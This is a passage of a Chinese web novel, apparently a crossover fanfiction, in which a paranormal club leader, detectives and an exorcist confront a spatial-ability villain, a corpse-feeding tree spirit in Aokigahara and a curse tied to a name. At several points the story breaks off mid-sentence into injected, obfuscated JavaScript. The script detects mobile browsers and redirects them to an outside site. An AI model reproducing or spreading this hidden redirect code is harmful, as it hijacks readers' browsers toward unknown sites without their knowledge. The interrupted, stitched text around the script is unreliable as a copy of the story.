防护服里的人已经被掉包了,就在他远离车辆的这一点时间里。 夏楠看了眼身边的的场静司,对方一副状况外的表情。此人脸上总蒙着一层纱一样,看不真切,或许和他与妖怪之间的交易有关。 松田阵平做到了副驾驶。 就在这时,一只手,从虚空中伸了出来,指尖捏着一根头发,是夏楠放在厨师身上的头发。 “很抱歉,我的朋友有些小小的毛病,不喜欢这些……不洁之物。” 指尖轻轻松开,头发掉在了夏楠面前。 松田阵平瞬间拔枪,坂口安吾的视线扫过那根掉落的头发,很快移动到凭空出现的手上面。 夏楠伸出了手。 就在他的手即将落在对方手臂上的瞬间,那只从虚空中伸出来的手忽然断裂,从断裂处,喷涌出一团白色的雾气。 是假手。 “明明知道被你碰触到会被控制行动,我怎么可能会将自己的手真的送到你面前呢?” “亲爱的夏目社长,那么,现在,提问时间~” 虚空中传来顿挫的话语声,仿佛舞台剧表演一样浮夸的语气。 “无奖问答——是毒气,还是毒气?” 夏楠笑了一声。 的场静司迅速从袖中摸出一个小小的瓷瓶,他拔开瓷瓶上的塞子,一团黑色的面条状的类人形影子从瓷瓶内蹿出,一口咬住了白色雾气喷涌的手腕断裂处,紧接着,直接撞碎车窗,冲了出去。 “哦……的场家主,你可真是扫兴。” 夏楠的瞳仁变的漆黑,他的手顺着还没完全闭合的空间交错面伸了进去,紧接着,随意往旁边一划——原本只有不大一点的交错面瞬间宛如被撕开一样,裂开了一个大大的口子。 一个人影显现出来。 白色的礼服,白色发色,一双微微睁大的眼睛,和上扬的嘴角。 夏楠直直看向对方的双眼,“现在,提问。” “……请问。” “阁下有跳槽的打算么?” “……” 白发男人呆滞的目光忽然一变,他的眼睛睁的极大,看着夏楠的视线宛若看见了什么令他十分震惊的东西一样,情绪极其饱满,唯独没有恐惧。他忽然捂脸仰头,开始疯狂大笑。 “哈哈哈哈哈哈哈——” “有趣,实在有趣!” 癫狂的声音猛的一收,“夏目社长,不,夏社长,我真是,越来越喜欢你了!” “回答呢?”夏楠只是看着他,对他的表演无动于衷。 “很遗憾,夏目社长,”白发男人动作浮夸的对着夏楠鞠躬,“我的友人讨厌背叛。” “这样啊,”夏楠重复,“那确实挺遗憾的。” 他抬起一只手,在对方疑惑的注视下,轻轻的打了个响指。 “我这个人,比较擅长直钩钓鱼。” 啪。 密密麻麻的头发瞬间喷涌而出,顷刻间将白发青年淹没。 已经有过接触,即为标记成功,那根发丝,不过是一个显眼到不能再显眼的饵。 头发蠕动着纠缠,很快,消失不见,连同着白发青年一起。 坂口安吾小心翼翼的开口,“……成功了?” “不,”夏楠回答,“如果你问的是他有没有被卷入咒怨的世界,答案是没有。” 在一瞬间利用自己的能力脱离了所在空间,但是…… “宾果~答对了~” 夏楠的话音刚落,白发男再次现身,隔着撕裂的空间重合点,他在斗篷挥舞间,宛若魔术师一样登场,“哎呀哎呀,可真是吓了我好大一跳呢。” “真是一份有趣的礼物,”白发男死死盯住夏楠,“既然如此,不回礼可不行。” 他的手中出现一捧手/雷。 一捧。 原本一直在旁边警惕围观、没有出声吸引仇恨的松田阵平神情严峻,他手中的枪已经悄然上膛。 白发青年松开了手。 手/雷自他手中消失,松田阵平愣了一下。 “在头顶!” 坂口安吾开口提醒,他的手已经放在了车门开关处,做好了情况不对立刻跳车的准备。 手/雷从不知道什么时候出现在头顶的空间重叠处掉了出来。 夏楠回视白发青年,微微勾起唇角,对方的身后再次出现了纠缠的发丝,他第二次,轻轻的,打了个响指。头顶被人为用能力制造出来的重叠空间不见了,原本掉落的手/雷也不见了,这些白发青年用来回礼的东西,被夏楠送还在他的脚下。 白发青年:!! 他正要故技重施,利用能力逃脱,从头发里,忽然伸出一只缠绕着绷带的手,这只手,轻轻的搭在了青年肩头。 砰! 巨大的爆炸声戛然而止。 夏楠收回了打响指的手,一切空间干预,在行驶的车辆内消失,无论是宛若被撕开的口子一样的部分,还是头顶漩涡一样的虚空。 车内十分安静。 坂口安吾默默的,默默的将已经拉开的车门重新合拢。 就在这时,萩原研二再次踩下了刹车。没有系安全带的坂口安吾和松田阵平被惯性往前甩,两人反应迅速的用手做了缓冲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“人没事吧,有人受伤吗?”联络人看了看几人,“我们这里有医药箱,如果你们需要的话……”他的视线停留在最后下车的普通民众二人组身上,明显不一样的气质让他对两人多了些关注。 萩原研二见状顺势提出让两人在这里休息一会儿,“路上遇到他们遭遇歹徒,顺手救了下来,一会儿会有同事过来带他们去询问情况。” 联络人的目光瞬间切换到恍然大悟,“原来是这样。”他说着,立刻安排两人去附近的医疗站点就医。 这边,萩原研二三下五除二搞定事宜,另一边夏楠正看着广袤的树林,的场静司还没走,正在夏楠身边充当临时的解说员。 “青木原树海本身并没有网络与大众印象当中那么……神秘,”的场静司说道,“只是各类文学与影视作品频繁提及,导致它成为了所谓的‘自/杀圣地’,实际上,消防厅有设立专门的救援分部,游客在游览区域内也可以进入参观,而所谓的磁场干扰……” “是因为磁铁矿,”负责人已经安排好两名无辜群众的事情,跟着萩原研二走了过来,“曾经富士山喷发时流出的熔岩冷却后形成的独特岩石地层当中也富含各类矿物质,综上所述,在树海未开放的区域里,确实很容易出现指南针失灵的情况,”他说着,露出了十分无奈的神情,“理论上来讲,未开放区域是严禁游客入内的,因为的确容易迷失方向,如果是野外经验匮乏的人,很容易出事。” “但实际上,总有人会绕过检查悄悄进去,唉……如果是有一定经验的人也就罢了。” 联络人苦着一张脸,看得出来十分头痛了。 坂口安吾开口问道,“自/杀的事,时常发生么?” 联络人沉默了一会儿,长长的叹了口气,“虽然由我来说有些不合适……” 坂口安吾心领神会,立刻接话,“请放心,只是正常的问询,我们也不会随意外传。” …… “……的确有,”联络人说道,“而且,近几年,越来越多了,报失踪的,甚至……救援队的两个人,也失踪了。” 夏楠收回视线,他对着松田阵平伸出手,“失踪人的照片。” 松田阵平想到夏楠那看脸——他回去之后有查过种花那边的相关信息,了解了一下‘相面’,虽然还是不理解原理,但至少对夏楠的一些看似古怪的行为有了些底——的能力,果断从手机里调出失踪主播的相片,展示给夏楠。 …… 乌云罩顶,凶多吉少。 夏楠收回视线。 一整片森林,有一大半的界线都十分暧昧,模糊不清,不是咒怨一类,而是…… “妖怪。” 的场静司开口,“五年前,一只不知从什么地方冒出来的妖怪盘踞在此处,将整座山林都变成了它的阵地,除妖师协会曾封印过它一次……” “失败了?” 的场静司:…… 他微微眯了眯眼,“不,成功了,但是,不知道为什么,两年前,妖物再次开始活跃,且十分难以捕捉。” 的场静司看向夏楠,“夏目社长,还记得黑山么?” 夏楠:…… 谁? 43.四十三 “网络传播基本集中在论坛的部分,已经删除了,警部,”东京警视厅,网络犯罪对策课内,警部正在旁观网警工作,“有很多转发的,也一并删除了,只是……” “怎么了?” 网警犹豫了一下,说道,“只是,这样根本治标不治本,看,已经有人将故事上传到外网了。” 那里已经不是他们能处理的范围,如果一定要处理…… “需要联系该网站的负责人么?”网警说道,“提前说一句,他们不一定会配合。” 警部:…… 他沉吟一会儿,开口,“你们所有看到过这个帖子的人,今天都留在警视厅,不要落单,”他说着,“还有,如果察觉到古怪,比如听到铃铛的声音,不要恐慌,立刻看向声音的来源。” “不要移开视线,不要眨眼,如果眼睛酸涩,就换其他人继续盯着,注意,一定要一直盯着,不能有空窗期。” 网警:…… 上个班还得管见鬼是吧,这年头社畜真的难。 “记住了么?” 网警:“……真有那么夸张吗?按照目前的传播和浏览体量计算,阅览量在3000左右,一个……额,靠故事传播的鬼,就它一个,能跑那么多地方吗?” “不累吗?” 警部无语了一下。 “不要以常理揣度非人存在,它们的空间参数和常世不同,说不定时间参数也不同。” 啊,不是在聊鬼的事吗,忽然科学起来什么鬼哦。 网警勉强点了点头,“好吧,我记住了。” “还有,”警部继续说道,“这件事官方不好出面,一但出面反而会引起更广泛范围的关注,”现代社会,大家日常生活中的压抑全都化成了网络上的反骨,你越不让看,他们越要看,“你们不是有那个什么……潜水号吗?发个应对帖,就发我刚才说的那些。” “警部,那样会吸引更多关注的,建议最好不要。” 警部:…… 唉—— 他叹了口气,挠了挠光秃秃的脑壳,当和尚当久了,还俗以后,不适应有头发,就干脆一直剃光来着。 难办啊…… …… 对了! 夏目那边不是有个电脑技术十分高超的社员么?能不能把外网那几个帖子删了的? 嗯…… 打个电话问问。 —————— “如果按探灵社……不,按照夏目社长的说法,那个不知道从哪里冒出来的妖怪,以前很可能只是一个小妖怪,只是机缘巧合之下,和青木原树海当中的潜意识认知完成了结合,成为了可以使役在这里身亡的灵魂所形成的怨的咒……”的场静司走在夏楠身后,“……夏目社长的理论可真是绕口。” 夏楠没说话。 走在最前方的坂口安吾已经看到了搜救队伍的身影,他不自觉的加快了脚步。 翻过一座小小的陡坡,坂口安吾四下张望。 …… 人呢? 的场静司对夏楠说,“您的社员倒是很会带路。” 这回夏楠倒是回答了。 “安吾君在和同频上比较有天赋。” 或许是拜他自己的异能力使用顺序的福,他潜意识里给自己的同频加了个前置主动条件——手掌接触,这个潜意识,替他自己避免了很多麻烦,在与神秘测擦肩而过的时候。 被讨论的坂口安吾反应过来自己之前看到的只是幻觉,他默了默,离夏楠近了点。 “要不还是你们带路吧,我跟着。” “不用。” 夏楠说道。 他看着眼前并不算高大的树,“我们已经到了。” 坂口安吾愣了一下。 的场静司开口,“这里是我们之前设下封印的其中一个节点,妖怪与青木原树海绑定实在太深,就算收服也没什么用处,出了树海,它甚至还不如一只影鬼。” 所以五年前的的场静司在考察过妖怪的能力以后,放弃了收服,选择了封印。 除妖师协会的人每年都会前来检查封印是否完好,今年的报告是——一切正常。 确实是正常的,如果仅仅只是从封印是否还在的角度来看。 的场静司从树下挖出一块石头,看了看,又放了回去。 坂口安吾忽然出声,“既然你们两年前就已经发现了问题,为什么不解决?” 的场静司笑了一下,“为什么不解决,好问题。” 两年前他就已经来过一次,他只是想看看,是谁,在喂这只没什么用的妖怪。他也有点好奇,如果这只妖怪能成长到摆脱树海限制的程度,又能变成什么模样? “大概是因为,我对自己比较自信。” 自信能在不可挽回的事情发生之前喊停。 至于那些自/杀的,或者作/死的人,很抱歉,他不是心理医生,更不是僧侣,那些人,不是他的义务。 “人总要为自己的选择,承担后果,不是么?” 坂口安吾沉默。 他想反驳,但理智告诉他,眼前的人无法说服,而且,客观来讲,他说的也的确是事实。 但人类并不仅仅只是客观存在,组成人类的很大一部分,来自于主观。理性与感性之争,从来没有胜负。 有些时候,很多人需要的,只是有人能拉他一把,或者,只是一个拥抱。 夏楠没怎么听两人之间的探讨,他已经走到了树下,那里有一双破旧的球鞋,还有几条断裂的安全绳挂在树枝上。夏楠面无表情,抬起手,給了树干一拳。 砰。 不算太大的力气,响声同样不大。 坂口安吾的眼睛微微睁大。 树上,出现了好几个上/吊的人影,那名不久前失踪的主播,赫然在列。每一个吊在树上的人,都睁着眼睛,阴森森的看向他的方向。 坂口安吾不自觉后退了一步,紧接着,脚下一空。 什—— 失重感骤然袭来,他在下坠,当大脑告诉他这个信息的同时,坂口安吾开始调整自己的姿势,争取落地时免于受伤。 好在洞并不深。 ——奇怪,这里什么时候有洞,来的时候也没有啊? 坂口安吾在黑漆漆的地洞内站直了,他抬起头,仰望上面掉落的地方,正要出声呼喊,一个人从洞口翻了下来。他赶紧让开位置以防两人撞在一起。 是夏楠。 紧接着,的场静司也翻了下来。 夏楠从口袋里掏出手电筒,打开了电源。 地下的空间很大,树根盘根错节,脚下是…… 等会儿,树根? 手电筒照射的方向有一块巨大的树根,它的根部牢牢扎进地面,肉眼看去,几乎占据了整个地下空间一半。那每一根拧巴着的纠缠在一起根节之间,全是白骨,有动物的,也有……人类的。 坂口安吾听到了夏楠的声音,“树精?” 夏楠看着眼前庞大的根系,“居然是灵物。” 本可入仙途,却堕了鬼道。 可惜了。 “安吾君,你认识什么能放火的人么?” 手电筒的光线固定到了一张还未化作枯骨,半张脸已经长满青苔的脸上——是那名失踪的主播。 坂口安吾理解了一下夏楠的话,他认真思索一会儿,“抱歉,或许你会需要火焰喷/射器?” 的场静司看了眼夏楠,“还以为能看到夏目社长超渡亡魂的场景。” “这里没有怨,”没有怨,没有被困的灵魂,哪里需要超渡,再说他已经被警告了,不想再被跨国执法,“引诱他人的身影,是它制造的幻觉。” 不知道这个世界的种花地府什么章程。 夏楠有点无聊了,他抬脚踢了一下蠢蠢欲动的树根,“通知其他人接手吧,”他轻飘飘的说,“下一个。” 的场静司迎着夏楠的目光,“夏目社长有种花‘相面’的神技,难道看不出来我找你的原因么?” “看不出来,”夏楠说道,“还有,不是神技,只是入门小知识。” “好吧,”的场静司耸了耸肩,“我只是想友好的告诉夏目社长,有人,已经盯上你了。” “你太显眼了。” 夏楠:…… “就这?” 的场静司愣了一下,忽然轻笑出声,“您还真是,一点也不担心啊,夏目社长,”他说着,“您的这份游刃有余,是源自于自身的强大,还是源自于您的社员?” 夏楠想了想,回答,“……都有吧。” 夏楠无所谓的态度让的场静司沉默了一会儿,“您就不担心身边的人遭遇不测?” “哦。” 的场静司:…… 坂口安吾想笑,他使劲忍住。千寻身在博多,那可是地下世界里赫赫有名的杀/手之城;织田作之助是横滨曾经当之无愧的杀/手一哥;太宰治多智近妖,与港口黑手党联系紧密;甚至那名叫吉川惠子的女士,都有产屋敷的背景。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792353|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>还有他自己,异能特务科。 在选择社员这件事上,仅仅一个小小的探灵社,已经聚集了杀手、黑客、黑手党预备役、卧底、以及极有可能的,剑士。 在不明真相的人眼中或许只是一群弱唧唧的家伙,但在知情人的眼中,探灵社已经足够强大了。 更何况,探灵社还有一个迷一样的社长。 初到横滨不足半年,就集齐了三大官方势力的顾问头衔,还和港/黑达成了互不侵犯协议,如此成绩,确实足够引起有心人的瞩目。 “还有么?” 夏楠等了一会儿,见的场静司不说话,于是问了一句。 …… 的场静司再次叹气。 “原本想用情报来进行交换,只是如今看来,夏目社长似乎并不在意。” “嗯。” “……算了,”的场静司无奈开口,“阁下可有加入除妖师协会的打算?” “没有。” “不要急着拒绝,”的场静司说道,“在协会内部,你会有更多的机会,接触到那些盯着你的人。” “譬如说?” “譬如说,黑山。” “虽然不知道为什么警方没有告诉你,”的场静司微微敛眸,“黑山死了。” 夏楠:…… 他歪头,“所以黑山到底是谁?” 的场静司再次陷入无语。 —————— “诸位,请用茶。” 漆黑的夜晚,一处林间小屋,囲炉上架着瓦罐,里面烧着热水。三人排排坐在一侧,另一侧,是一名容貌秀美的女子。女子身穿打着补丁的合服,端正的跪坐着,为眼前的三人沏茶。 茶水被温柔的送到了三人手边。 “哎呀,正好口渴了呢,”太宰治自然的端起茶,“多谢美丽的夫人。” 他并没有喝,而是将茶杯放到一边,紧接着,牵起女子的手,“美丽的夫人,如此月色,都不足您美貌的三分,缘分使我们今晚在此相遇,如果,您愿意的话……” 太宰治脸上挂着甜蜜的笑容,“……如果,您愿意的话,请跟我殉/情吧。” “跟我,一同奔赴黄泉,离开这肮脏的人世。” 女子沉默。 “抱歉,他是开玩笑的。” 织田作之助拉住了太宰的后衣领,将人和自己换了个位置。 女子看着自己被松开的手,喃喃,“开玩笑……连殉情这种事,都能当做开玩笑么?” 她的表情逐渐狰狞,在三双眼睛无声的注视下,又逐渐恢复了正常。 房屋很破旧,家具陈设几乎没有,地面上的稻草散发着霉味。眼前的女人黑发披肩,浑身朴素,身后的房门破破烂烂,四处漏风。 是只有在影视作品里才会看到的,古代平民居所。 “我的丈夫,他是一名武士……” “啊啊——又开始了。” 前一秒还在邀请屋主共赴黄泉的太宰治此时百无聊赖的支着脑袋,“这是第几次了,五?还是六?” “是第六次。” 织田作之助回答。 每一次,他们都会出现在屋外的小路上,每一次,都必须走进这栋破破烂烂的房子,他们当然试过往其它地方走,但总是没走几步,就被重新传送回原地。 “哦~这是既定的剧情吗?” 新加入的白发男颇为兴致盎然,“就像RPG游戏一样?” “是啊是啊,就像游戏一样。” 太宰治懒洋洋的回复。 三人都没有去动那杯所谓的茶水,只是坐在原地,听女子讲述自己与自己的丈夫是多么恩爱。 “她会讲多久,好无聊的故事,”白发男打了个哈欠,“讲完之后呢?boss战吗?” 太宰治看着他,笑了,“新人,你很勇嘛。” 不知道什么时候,女子的讲述已经停了下来,她低垂着头,发丝盖住了大半的脸。 “我们的头发女士可是很讨厌听众说她的故事无趣的呢,”太宰治笑眯眯,“她可是会暴走的。” “哦?”白发男无所谓的看着那边已经站起来,头发开始无限变长的女人,“可你刚刚也说了无趣?” “为什么她只攻击我啊?”白发男灵活的躲过了如锋利的刀一样刺向他的头发。 “你在说什么呢,我和你可不一样,”太宰治抬手,在怀里摸了摸,摸出一个圆鼓鼓的、正眯着眼睛呼呼大睡的白团子,“我可是有护身符的人。” 44.四十四 时间稍微往前推一会儿。 在夏楠三人刚刚深入树海后不久,与萩原研二同行的松田阵平在进入救援中心后,接收到了来自幼驯染的隐晦暗号。跟在松田阵平身后的联络人热情的与救助中心前台小哥打了招呼,随即上前与人攀谈,而松田阵平,则来到了萩原研二身边。 “怎么了?” 他用口型问道。 萩原研二指了指无辜群众二人组身边的墙面。 其中的女性正用手捂着墙面上某处,他看向萩原研二,“这样真的好吗?” 松田阵平瞥了一眼不远处的联络员,“什么好不好?你捂着什么东西?” 萩原研二开口,“是诅咒。” 松田阵平:“……哈?” 用手捂诅咒,认真的?如果这么做的人是夏目,他信,无条件信,但其他人? emmm…… “准确来说,是名字,”萩原研二耸耸肩,“追着他们两个的那个东西的名字。” 松田阵平明白了,“看见就会被诅咒?” “是,”女性对面,男性显得有点恐慌,“我们之前又听到铃声了,就在刚才,盯着它看了一会儿,它忽然消失了。” 松田阵平想到对方刚见面时曾经提到的,有人将诅咒的故事散播到了网络上。他微微皱眉,“墙上的是你们写的?” “不是,怎么可能!” 女性开口,“我们刚刚坐在这里的时候,是背对着墙面的,因为接待员先生要给我们处理伤口,”她说着,“如果一开始就知道这里有它的名字,我们根本不会坐在这里!” “是谁引导你们坐在这里的?”松田阵平问道。 萩原研二回答,“没有谁,是他们两个自己坐在这里的,”他看了眼脸色很差的两名无辜群众,“至少,在我眼中是这样。” “在你眼中?”松田阵平思索,“你的意思是……”他看向两人,“你们看到的不一样?” “是,”男性回答,“我们是被人引过来的,那个人还说,这个位置光线好……” “对,”女性肯定道,“是一位老奶奶,穿着员工的制服。” 老奶奶? 员工制服? 松田阵平看向萩原研二。 萩原研二开口,“我已经找过了,那边的员工名录里有照片,并没有什么老奶奶,当时他们两人走到这里落座,在我眼中,也的确没有人带领。” 怪了。 松田阵平想起夏目看向联络员时短暂的停顿。 “还有,”萩原研二指了指被女性紧紧捂住的地方,把话题重新带回了诅咒上,“痕迹很新,是新印上去的。” 松田阵平抓住关键词,“你看了?!” 萩原研二笑着回答,“我当然看了,最先发现的就是我。” 松田阵平果断转头看向女性,“你可以把手暂时放开,让我看看。” 萩原研二没有阻止,只是在一旁笑着旁观。 女性犹豫的看了眼萩原研二,最终,还是松开了手。 红色印记,边缘留有一些剐蹭的痕迹。 “白井?” 松田阵平念出声。 “啊……”萩原研二嘴角翘起,“……喊出来了。” 松田阵平不自觉颦眉,他刚要回过头去看自己的好友,一道不明阴影从头顶闪过,紧接着,松田阵平听到了一声铃响。 叮—— 有什么东西,出现了。 松田阵平敏锐的看向救援中心外,隔着玻璃幕墙。幕墙外是水泥地面,很空旷,只零星停着几辆车。一个女人,双手合十,手背上不知道粘着什么东西,看起来就像是双手合十以后又被那个东西贯穿了一样。 或许真的是贯穿——松田阵平想道。 她原本是蹲在地上的姿势,此时,在松田阵平眼中,正慢慢站起身,接着,一点一点的转动,正面看向了他们的方向。 一张非人的脸。 它就那样站在那里,静静的看着他们,一动不动。 松田阵平等了一会儿。 对方就那样站在阳光下,一动不动的看着他们。 就这? 萩原研二拍了拍松田阵平的肩膀,“它好像对自己的名字很敏感,只要有人念出它的名字,它就会现身。” “你怎么知道?” 萩原研二耸耸肩,开口,“白井。” 玻璃幕墙外,拥有非人外貌的白井微微转动脖颈,仔细看,的确是朝向萩原研二的方向。 松田阵平想了想,也开口,“白井。” 白井的脖颈再次转动,不大的角度,是朝向松田阵平的方向。 无辜民众二人组:…… 不是,你们就这样玩起来了? 不好吧,会生气的吧,果然会生气的吧…… 鬼也是有脾气的啊! 松田阵平果断掏出手机,一通盲打,想将情报发送给警部。紧接着,发送失败的提示音响起。 他愣了一下,很快想通,“信号干扰?” “对,进了这个救助中心以后,信号就一直非常微弱。” 松田阵平微微皱眉,“进来以后,一直?” 萩原研二点头,他对两名无辜群众开口,“二位,可以麻烦你们先盯一会儿么?” 两人十分郑重的比手势表示可以。 萩原研二于是收回视线,不再看白井,而是示意松田阵平看向一旁,那里挂着一整排的工具,工具下面,是几双一看就有使用痕迹的鞋——是消防厅救援队的固定装备之一。 松田阵平眯了眯眼。 鞋在这里? 他看向距离鞋放置的架子不远处的长椅。 “执勤的人有两批?” “一批,”萩原研二回答,“那边有值班表。” 松田阵平明白了。 好好的救援装备,如果不用,该收起来,而不是大咧咧摆在显眼的接待大厅里。如果要用,据说已经进树海搜救的救援队难不成是穿日常鞋进去的? 不对吧,如果说是因为情况紧急来不及换,前后依旧矛盾——他们接到通知到赶过来用了那么长时间,联络员却说救援队刚刚进入不久,很快就能赶上。 现在,唯一的问题就是,那个不知底细的‘老奶奶’——松田阵平想道。 式神、幻觉、干涉……是哪个? 身后,有脚步声传来,“几位,要喝点什么吗?”是联络员的声音,“等待的时间里,适当放松放松。” 他的手中端着一个托盘,托盘上面放着四个杯子。 就在这时,咔哒一声电机启动的声音响起,松田阵平看向发出声音的方向。 是窗帘。 窗帘正在自动闭合。 联络员笑眯眯的开口,“正午的阳光太烈,拉上窗帘会凉爽很多。” “现在并不是正午。” “喝点茶吧。”联络员没听到一样,将托盘中的几杯茶,放在了他们这边的桌子上。 “没没没关系,我们把窗帘掀起来就好,掀起来就不会遮挡视线了” 女性颤抖的声音说着。 “真是可靠,”萩原研二声音响起,带着安抚的语调,“那就继续拜托你们了。” “你们不和我们一起盯着么?” 松田阵平看着一脸和蔼笑容的联络员,“我们有些事处理。” 联络员疑惑的询问,“怎么了?二位?” “我很好奇,”松田阵平舔了舔自己的后槽牙,“你们是什么时候调的包?真正的工作人员去了哪里?” 原定一起行动、最后却因为他们晚到而率先进入树海救援的救援队,这样的变动本该事先通知他们,却变成了来之后被告知。仅有两名工作人员留守,多出来的森林消防靴,以及,临时加印的白井。 还有神出鬼没的老奶奶。 已知两个无辜群众没有问题,他和hagi没有问题,这间救援中心内信号微弱,而除了员工休息区域以外的地方,只有两个人。 简单的排除法。 “警官,你在说什么?”联络员更疑惑了。 眼前这个联络员,之前在干什么来着? 与hagi一起送无辜群众两人来救援中心休息,之后呢?与hagi一起和他们汇合,再然后,他们重新回到这里。 前一次来到救援中心时,hagi就看到了白井二字,并见到了那个非人生命体,只是生命体很快消失。 松田阵平没有动。 当白井出现时,所有人的视线都会集中在白井身上,因为他们知道,一直盯视对方是目前已知的唯一解法。 “喂,你们两个,当时送你们进来的人,有几个?” 两名无辜群众还在尽职尽责的轮流保持对白井的注目礼,反应了一下才反应过来松田阵平问的是他们。 萩原研二嘴角挂起了笑,区别于他平时那种温暖中带着点俏皮的笑,而是一种,十分令人不适的笑。 无辜群众们并没有注意到身后的暗潮汹涌,还在很认真的回答,“两个人啊,联络员先生和警官先生。” “离开的时候呢?” “离开的时候,只有联络员先生,萩原先生在这里陪着我们的。” 这就对了。 如果是hagi,在真正见到白井之后,不可能不告诉夏目。他们二人对神秘侧的了解还很稀少,遇到特殊情况,第一时间想到的不是通知夏目,而是选择保持沉默? 松田阵平忽然发难,一个腿鞭扫向‘萩原研二’的方向。 完全没有踢到东西的触感。 送他们进来的是hagi,离开的也是hagi,重新回来的依旧是hagi,但是,留下来的这个,不是。 重叠空间,他被拉入了幻觉,从进来的瞬间开始。 哦。 松田阵平扫了眼那两个倒霉蛋。 好消息是,他不是一个人。 坏消息是,他有两个拖油瓶。 松田阵平活动了一下肩膀。 忽然消失的白井才是真正的白井,现在的白井,恐怕也是假的。 不妙啊…… —————— 萩原研二矮身躲过了松田阵平的旋身踢,仅仅只是短暂错开视线的功夫,那名名为白井的不知名生命体已经向着他的方向靠近了好大一截距离。他的额角沁出细密的汗,脑子疯狂转动。 怎么做? 该怎么做? …… 时间再往回拉一点点。 萩原研二与联络员一同送两名无辜群众进入救助中心,一名穿着制服的长者接待了他们,并将他们引到了能够照到阳光的位置落座。一名年轻男性提着医疗箱走过来,为两名群众身上的伤做简单处理。 长者自称是这里的后勤人员,偶尔负责接待,还很热心的问他们要不要吃点东西。 萩原研二礼貌拒绝后,嘱咐他们照顾好两名群众,接着,与联络员一起离开,去与等在外面的夏楠一行汇合。 一切都很正常。 再次回到救援中心的时候,萩原研二并没有意识到接下来会发生什么。 两名无辜群众正趴在桌子上休息,他们的身上盖着薄薄的毯子,老者小心翼翼的将玻璃幕墙内的升降窗帘降下来,为二人挡住阳光。 “怎么样?”萩原研二小声询问。 “说是没什么大问题,都是小伤,”老者回答,“说起来,我怎么看你们的人自己先进去了,不是说和救援队一起吗?” “树海里地貌什么的……我也不是很懂,小澈他们还在那边等你们呢。” 萩原研二一愣,“什么救援队?他们不是已经进去了吗?” 老者也一愣,“没有啊,他们还在休息室里呢,”她有些不确定的看了眼休息室的方向,“……难道已经进去了?” 就在这时,松田阵平走了过来。 先后顺序是这样的。 萩原研二再次进入救援中心以后,第一时间注意到趴在桌子上的无辜群众二人,担心二人是不是有什么问题,于是立刻走到了他们旁边询问情况。 松田阵平进门后,没有立刻与萩原研二一起过去,而是先大致观察了一下救援中心内部的结构,并着重注意了一下联络员的动向。见他先去找登记台内的青年,还仔细观察了一下那个人。之后,才开始往萩原研二的方向走。 萩原研二见松田阵平过来,口型询问自己怎么了,于是说了一下情况,“救援人员似乎并没有进去……”他说着,皱眉看向联络员的方向,拿出手机准备先联系夏楠。 老者开口,“哎呀,我也不一定确定,之前我在仓库呢,四郎要我去看一看装备数量能不能对上,说你们要用的……说不定阿澈他们就是这段时间离开的呢?”她见萩原研二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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接待员的眼睛紧紧闭着,胸口起伏。联络员一把抓住了接待员的头发,将对方拖着,往萩原研二的方向走。 “开枪啊?警察?”联络员边走边说,“我做什么了吗?什么都没有。” “你在用枪指着良好市民哎,你敢开枪吗?” 萩原研二的手指紧了紧,他微微眯眼,忽然转身,抬起手,想要先将松田阵平敲醒。 “我劝你不要哦。” 联络员已经走到了萩原研二的身边,“那家伙可就在这里呢,就在你的同事的面前,伸着手,等着拿走自己的战利品呢~” “你要是现在叫醒他,知道会发生什么吗?” “砰!”联络员松开手,接待小哥整个人掉在地上,他抬起一条腿,踩在接待小哥的脑袋上,“整个爆掉!” 萩原研二的手停住了。 “对,就是这样,”联络员和蔼的说着,“要听话。” “你到底要做什么?” “很简单,”联络员开口,“打电话,打给你的上司,告诉他,这里不需要增援。” 萩原研二:…… 他悄悄松了口气。 这是个傻子,虽然很棘手,但是个傻子。 可真是个好消息。 “没有信号。” “哦,我忘了……”联络员从口袋里拿出一个东西,按了一下,“现在有了。” “来吧,联系你的上司,但是,不许说多余的话。” 联络员阴沉的说,“敢说一个不该说的字,你的同事,还有我脚底下这个,都会死。” 松田阵平在旁边演一个人的独角戏,萩原研二深吸一口气,忽然转身,看向松田阵平面前的地方,开口,“白井!” 话出口的下一秒,眼前一花,他的视野里,多出一个非人存在。萩原研二根本来不及观察这个人形非人存在究竟长什么模样,他视线凝固在对方身上,手中的枪对着联络员的方向连开两枪,紧接着,另一只手袭向松田阵平。 非人存在的指尖直对松田阵平双眼,几乎零距离。 先把人拽开! 按照那两个无辜群众的说法,只要不移开视线,对方就无法移动。 萩原研二的手抓住了松田阵平的衣领,被击中胳膊和小腿的联络员发出吃痛的哀嚎。 “你怎么敢!你竟然敢!” 联络员愤恨的喊道,“既然你这么想死,那我就成全你!” “古笼火!” 下一秒,独角戏当中的松田阵平忽然对着空气一个旋踢,而就在联络员喊出古笼火三个字的时候,萩原研二看到了,虽然只是一瞬间——松田阵平的眼前,飘着一撮小小的火苗。他急忙下蹲躲开攻击,而仅仅移开视线一小会儿的功夫,白井已经来到他面前。 非人的双眼注视着他,合掌的双手似乎要打开,但因为自己的盯视,暂时停止了动作。 ……怎么办? 嘻嘻嘻嘻嘻嘻—— 耳边响起嬉笑声,火苗引燃了他的衣角。 —————— 幻觉,干涉。 如果是夏目,他会怎么做? 松田阵平看着眼前的一切。 ——所见即为真,人们总是过于相信自己的眼睛。 松田阵平闭上了眼睛。 